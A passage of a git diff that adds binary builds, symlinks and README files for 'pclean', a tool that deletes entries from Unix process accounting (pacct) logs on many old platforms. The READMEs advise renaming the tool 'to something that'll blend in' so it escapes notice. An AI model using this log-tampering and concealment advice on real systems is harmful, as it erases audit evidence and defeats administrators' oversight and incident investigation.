b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.0 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.1 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.1 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.1 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.2 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.2 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.2 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.3 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.3 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.3 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.4 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.4 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.4 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.5 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.5 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.5 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.6 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.6 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.6 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.7 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.7 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.7 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.8 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.8 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.8 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.9 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.9 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.9 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.alphaev6-dec-osf4.0f b/Linux/up/OLD.pcleans/pclean-pclean.README.alphaev6-dec-osf4.0f new file mode 100644 index 0000000..32fb3cf --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.alphaev6-dec-osf4.0f @@ -0,0 +1,29 @@ + + +See usage statement for options and general usage (pclean -help). + +Known to compile and runs on: + - OSF1 V4.0 + - Solaris 2.5.1 - 2.8 (sparc & x86) + - HP-UX 10.20, 11.00 (compiled on 10.20 but ran on 11.00) + - Linux 2.2.x (Red Hat ?) + +Bugs/warnings: +============== +- pclean itself WILL show up in pacct file, so you should rename it + to something that'll blend in + +- pclean MAY append null entries at the end of the pacct file. + This problem may occur on systems where lots of processes are + getting written to the pacct file. + (When you delete entries, pclean will tell you how to make sure + there are no null entries.) + +- Occasional problems with large pacct files ( > 3500000 entries): + - numerical listing may cause lseek() errors + - sometimes deletes the wrong entries + +- HP-UX: pread/pwrite replaced with lseek and read/write. + (lseek was used in an older version, but it caused problems + on OSF/1 targets - but not in the lab) + diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.alphaev6-dec-osf5.1 b/Linux/up/OLD.pcleans/pclean-pclean.README.alphaev6-dec-osf5.1 new file mode 120000 index 0000000..18c7521 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.alphaev6-dec-osf5.1 @@ -0,0 +1 @@ +./pclean-pclean.README.alphaev6-dec-osf4.0f \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.hppa1.1-hp-hpux10.20 b/Linux/up/OLD.pcleans/pclean-pclean.README.hppa1.1-hp-hpux10.20 new file mode 100644 index 0000000..8bdb7fb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.hppa1.1-hp-hpux10.20 @@ -0,0 +1,21 @@ + + +See usage statement for options and general usage (pclean -help). + +Compiles and runs on Solaris 2.5.1 - 2.8 (sparc & x86) + +Bugs/warnings: +============== +- pclean itself WILL show up in pacct file, so you should rename it + to something that'll blend in + +- pclean MAY append null entries at the end of the pacct file. + This problem may occur on systems where lots of processes are + getting written to the pacct file. + (When you delete entries, pclean will tell you how to make sure + there are no null entries.) + +- Occasional problems with large pacct files ( > 3500000 entries): + - numerical listing may cause lseek() errors + - sometimes deletes the wrong entries + diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.hppa1.1-hp-hpux11.00 b/Linux/up/OLD.pcleans/pclean-pclean.README.hppa1.1-hp-hpux11.00 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.hppa1.1-hp-hpux11.00 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.hppa2.0-hp-hpux10.20 b/Linux/up/OLD.pcleans/pclean-pclean.README.hppa2.0-hp-hpux10.20 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.hppa2.0-hp-hpux10.20 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.4 b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.4 new file mode 100644 index 0000000..63044b6 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.4 @@ -0,0 +1,24 @@ + + +See usage statement for options and general usage (pclean -help). + +Compiles and runs on Solaris 2.5.1 - 2.8 (sparc & x86) + +Bugs/warnings: +============== +- pclean itself WILL show up in pacct file, so you should rename it + to something that'll blend in + +- pclean MAY append null entries at the end of the pacct file. + This problem may occur on systems where lots of processes are + getting written to the pacct file. + (When you delete entries, pclean will tell you how to make sure + there are no null entries.) + +- Occasional problems with large pacct files ( > 3500000 entries): + - numerical listing may cause lseek() errors + - sometimes deletes the wrong entries + +- Will not compile on systems that don't have pread/pwrite system calls + (e.g. hpux). + diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.5 b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.5 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.5 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.5.1 b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.5.1 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.5.1 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.6 b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.6 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.6 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.7 b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.7 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.7 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.8 b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.8 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-solaris2.8 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-sunos4.1.3 b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-sunos4.1.3 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-sunos4.1.3 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-sunos4.1.3_U1 b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-sunos4.1.3_U1 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-sunos4.1.3_U1 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-sunos4.1.4 b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-sunos4.1.4 new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.README.sparc-sun-sunos4.1.4 @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.old.hppa1.1-hp-hpux10.20 b/Linux/up/OLD.pcleans/pclean-pclean.old.hppa1.1-hp-hpux10.20 new file mode 100644 index 0000000..9546840 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean-pclean.old.hppa1.1-hp-hpux10.20 differ diff --git a/Linux/up/OLD.pcleans/pclean-pclean.old.hppa1.1-hp-hpux11.00 b/Linux/up/OLD.pcleans/pclean-pclean.old.hppa1.1-hp-hpux11.00 new file mode 120000 index 0000000..5b341b9 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.old.hppa1.1-hp-hpux11.00 @@ -0,0 +1 @@ +./pclean-pclean.old.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.old.hppa2.0-hp-hpux10.20 b/Linux/up/OLD.pcleans/pclean-pclean.old.hppa2.0-hp-hpux10.20 new file mode 120000 index 0000000..5b341b9 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.old.hppa2.0-hp-hpux10.20 @@ -0,0 +1 @@ +./pclean-pclean.old.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.alphaev6-dec-osf4.0f b/Linux/up/OLD.pcleans/pclean-pclean.prev.alphaev6-dec-osf4.0f new file mode 100644 index 0000000..c72c0d1 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean-pclean.prev.alphaev6-dec-osf4.0f differ diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.alphaev6-dec-osf5.1 b/Linux/up/OLD.pcleans/pclean-pclean.prev.alphaev6-dec-osf5.1 new file mode 120000 index 0000000..0298608 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.alphaev6-dec-osf5.1 @@ -0,0 +1 @@ +./pclean-pclean.prev.alphaev6-dec-osf4.0f \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.hppa1.1-hp-hpux10.20 b/Linux/up/OLD.pcleans/pclean-pclean.prev.hppa1.1-hp-hpux10.20 new file mode 100644 index 0000000..902db98 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean-pclean.prev.hppa1.1-hp-hpux10.20 differ diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.hppa1.1-hp-hpux11.00 b/Linux/up/OLD.pcleans/pclean-pclean.prev.hppa1.1-hp-hpux11.00 new file mode 120000 index 0000000..75e8a3e --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.hppa1.1-hp-hpux11.00 @@ -0,0 +1 @@ +./pclean-pclean.prev.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.hppa2.0-hp-hpux10.20 b/Linux/up/OLD.pcleans/pclean-pclean.prev.hppa2.0-hp-hpux10.20 new file mode 120000 index 0000000..75e8a3e --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.hppa2.0-hp-hpux10.20 @@ -0,0 +1 @@ +./pclean-pclean.prev.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-pc-solaris2.7 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-pc-solaris2.7 new file mode 100644 index 0000000..d04fff5 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-pc-solaris2.7 differ diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.0 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.0 new file mode 100644 index 0000000..043b7d5 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.0 differ diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.1 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.1 new file mode 120000 index 0000000..7995f83 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.1 @@ -0,0 +1 @@ +./pclean-pclean.prev.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.2 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.2 new file mode 120000 index 0000000..7995f83 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.2 @@ -0,0 +1 @@ +./pclean-pclean.prev.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.3 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.3 new file mode 120000 index 0000000..7995f83 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.3 @@ -0,0 +1 @@ +./pclean-pclean.prev.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.4 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.4 new file mode 120000 index 0000000..7995f83 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.4 @@ -0,0 +1 @@ +./pclean-pclean.prev.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.5 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.5 new file mode 120000 index 0000000..7995f83 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.5 @@ -0,0 +1 @@ +./pclean-pclean.prev.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.6 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.6 new file mode 120000 index 0000000..7995f83 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.6 @@ -0,0 +1 @@ +./pclean-pclean.prev.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.7 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.7 new file mode 120000 index 0000000..7995f83 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.7 @@ -0,0 +1 @@ +./pclean-pclean.prev.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.8 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.8 new file mode 120000 index 0000000..7995f83 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.8 @@ -0,0 +1 @@ +./pclean-pclean.prev.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.9 b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.9 new file mode 120000 index 0000000..7995f83 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean-pclean.prev.i386-unknown-freebsd4.9 @@ -0,0 +1 @@ +./pclean-pclean.prev.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean-pclean.prev.sparc-sun-solaris2.5 b/Linux/up/OLD.pcleans/pclean-pclean.prev.sparc-sun-solaris2.5 new file mode 100644 index 0000000..b271197 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean-pclean.prev.sparc-sun-solaris2.5 differ diff --git a/Linux/up/OLD.pcleans/pclean.README b/Linux/up/OLD.pcleans/pclean.README new file mode 120000 index 0000000..5275ca2 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.README @@ -0,0 +1 @@ +./pclean-pclean.README.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.alphaev6-dec-osf4.0f b/Linux/up/OLD.pcleans/pclean.alphaev6-dec-osf4.0f new file mode 100644 index 0000000..7dad9ea Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.alphaev6-dec-osf4.0f differ diff --git a/Linux/up/OLD.pcleans/pclean.alphaev6-dec-osf5.1 b/Linux/up/OLD.pcleans/pclean.alphaev6-dec-osf5.1 new file mode 120000 index 0000000..1605c5f --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.alphaev6-dec-osf5.1 @@ -0,0 +1 @@ +./pclean.alphaev6-dec-osf4.0f \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.hppa1.1-hp-hpux10.20 b/Linux/up/OLD.pcleans/pclean.hppa1.1-hp-hpux10.20 new file mode 100644 index 0000000..54632b2 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.hppa1.1-hp-hpux10.20 differ diff --git a/Linux/up/OLD.pcleans/pclean.hppa1.1-hp-hpux11.00 b/Linux/up/OLD.pcleans/pclean.hppa1.1-hp-hpux11.00 new file mode 120000 index 0000000..8d4b17a --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.hppa1.1-hp-hpux11.00 @@ -0,0 +1 @@ +./pclean.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.hppa2.0-hp-hpux10.20 b/Linux/up/OLD.pcleans/pclean.hppa2.0-hp-hpux10.20 new file mode 120000 index 0000000..8d4b17a --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.hppa2.0-hp-hpux10.20 @@ -0,0 +1 @@ +./pclean.hppa1.1-hp-hpux10.20 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i386-pc-bsdi4.0.1 b/Linux/up/OLD.pcleans/pclean.i386-pc-bsdi4.0.1 new file mode 100644 index 0000000..c16fbdf Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.i386-pc-bsdi4.0.1 differ diff --git a/Linux/up/OLD.pcleans/pclean.i386-pc-solaris2.7 b/Linux/up/OLD.pcleans/pclean.i386-pc-solaris2.7 new file mode 100644 index 0000000..66910b3 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.i386-pc-solaris2.7 differ diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.0 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.0 new file mode 100644 index 0000000..11ecc3a Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.0 differ diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.1 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.1 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.1 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.2 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.2 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.2 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.3 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.3 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.3 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.4 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.4 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.4 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.5 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.5 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.5 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.6 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.6 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.6 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.7 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.7 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.7 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.8 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.8 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.8 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.9 b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.9 new file mode 120000 index 0000000..04860cb --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.i386-unknown-freebsd4.9 @@ -0,0 +1 @@ +./pclean.i386-unknown-freebsd4.0 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.i586-pc-linux-gnu b/Linux/up/OLD.pcleans/pclean.i586-pc-linux-gnu new file mode 100644 index 0000000..b52edb0 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.i586-pc-linux-gnu differ diff --git a/Linux/up/OLD.pcleans/pclean.mips-sgi-irix6.2 b/Linux/up/OLD.pcleans/pclean.mips-sgi-irix6.2 new file mode 100644 index 0000000..087205c Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.mips-sgi-irix6.2 differ diff --git a/Linux/up/OLD.pcleans/pclean.mips-sgi-irix6.3 b/Linux/up/OLD.pcleans/pclean.mips-sgi-irix6.3 new file mode 100644 index 0000000..6c4c853 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.mips-sgi-irix6.3 differ diff --git a/Linux/up/OLD.pcleans/pclean.mips-sgi-irix6.5 b/Linux/up/OLD.pcleans/pclean.mips-sgi-irix6.5 new file mode 100644 index 0000000..9b4763c Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.mips-sgi-irix6.5 differ diff --git a/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.4 b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.4 new file mode 100644 index 0000000..f37e763 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.4 differ diff --git a/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.5 b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.5 new file mode 100644 index 0000000..a65a218 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.5 differ diff --git a/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.5.1 b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.5.1 new file mode 120000 index 0000000..5437847 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.5.1 @@ -0,0 +1 @@ +./pclean.sparc-sun-solaris2.5 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.6 b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.6 new file mode 120000 index 0000000..5437847 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.6 @@ -0,0 +1 @@ +./pclean.sparc-sun-solaris2.5 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.7 b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.7 new file mode 120000 index 0000000..5437847 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.7 @@ -0,0 +1 @@ +./pclean.sparc-sun-solaris2.5 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.8 b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.8 new file mode 120000 index 0000000..5437847 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.sparc-sun-solaris2.8 @@ -0,0 +1 @@ +./pclean.sparc-sun-solaris2.5 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.sparc-sun-sunos4.1.3 b/Linux/up/OLD.pcleans/pclean.sparc-sun-sunos4.1.3 new file mode 100644 index 0000000..8b19699 Binary files /dev/null and b/Linux/up/OLD.pcleans/pclean.sparc-sun-sunos4.1.3 differ diff --git a/Linux/up/OLD.pcleans/pclean.sparc-sun-sunos4.1.3_U1 b/Linux/up/OLD.pcleans/pclean.sparc-sun-sunos4.1.3_U1 new file mode 120000 index 0000000..c6df9c0 --- /dev/null +++ b/Linux/up/OLD.pcleans/pclean.sparc-sun-sunos4.1.3_U1 @@ -0,0 +1 @@ +./pclean.sparc-sun-sunos4.1.3 \ No newline at end of file diff --git a/Linux/up/OLD.pcleans/pclean.sparc-sun-sunos4.1.4 